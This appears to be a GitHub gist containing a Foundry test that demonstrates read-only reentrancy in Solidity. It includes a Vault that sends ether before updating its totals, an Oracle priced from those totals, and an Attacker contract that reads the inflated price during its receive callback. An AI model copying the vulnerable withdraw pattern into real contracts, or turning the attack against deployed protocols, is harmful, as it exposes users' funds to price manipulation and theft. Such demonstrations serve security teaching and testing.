Skip to content

Instantly share code, notes, and snippets.

@bytes032

bytes032/.sol Secret

Created January 19, 2023 15:46
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bytes032/55f70b2b8afa6c30faf6797f1ad723b4 to your computer and use it in GitHub Desktop.
Save bytes032/55f70b2b8afa6c30faf6797f1ad723b4 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "forge-std/console.sol";
import "forge-std/Test.sol";
contract ReadOnlyReentrancy is Test {
Vault private vault;
Attacker private attacker;
Oracle private oracle;
address alice = address(0x69);
function setUp() external {
vault = new Vault();
oracle = new Oracle(address(vault));
attacker = new Attacker(address(vault), address(oracle));
vm.deal(address(attacker), 10 ether);
vm.deal(alice, 5 ether);
}
function testAttack() public {
vm.prank(alice);
vault.deposit{value: 5 ether}();
attacker.attack();
}
}
contract Attacker {
Vault private vault;
Oracle private oracle;
constructor(address _vaultAddress, address _oracleAddress) {
vault = Vault(_vaultAddress);
oracle = Oracle(_oracleAddress);
}
function attack() public {
console.log("Price before deposit", oracle.getPrice());
// Deposit to pump the price
vault.deposit{value: 5 ether}();
// Withdraw in order to trigger receive fallback
vault.withdraw();
console.log("Price after deposit", oracle.getPrice());
}
receive() external payable {
// Perform malicious actions with pumped price
console.log("Price during deposit", oracle.getPrice());
}
}
contract Oracle {
Vault private vault;
constructor(address _vault) {
vault = Vault(_vault);
}
function getPrice() public view returns (uint256) {
return (vault.totalLocked() / 1e18) / 2;
}
}
contract Vault is ReentrancyGuard {
mapping(address => uint256) public userLocked;
uint256 public totalLocked;
function deposit() external payable {
userLocked[msg.sender] += msg.value;
totalLocked += msg.value;
}
function withdraw() external nonReentrant {
require(userLocked[msg.sender] > 0);
require(address(this).balance >= userLocked[msg.sender]);
(bool success, ) = payable(msg.sender).call{
value: userLocked[msg.sender]
}("");
require(success);
totalLocked -= userLocked[msg.sender];
userLocked[msg.sender] = 0;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment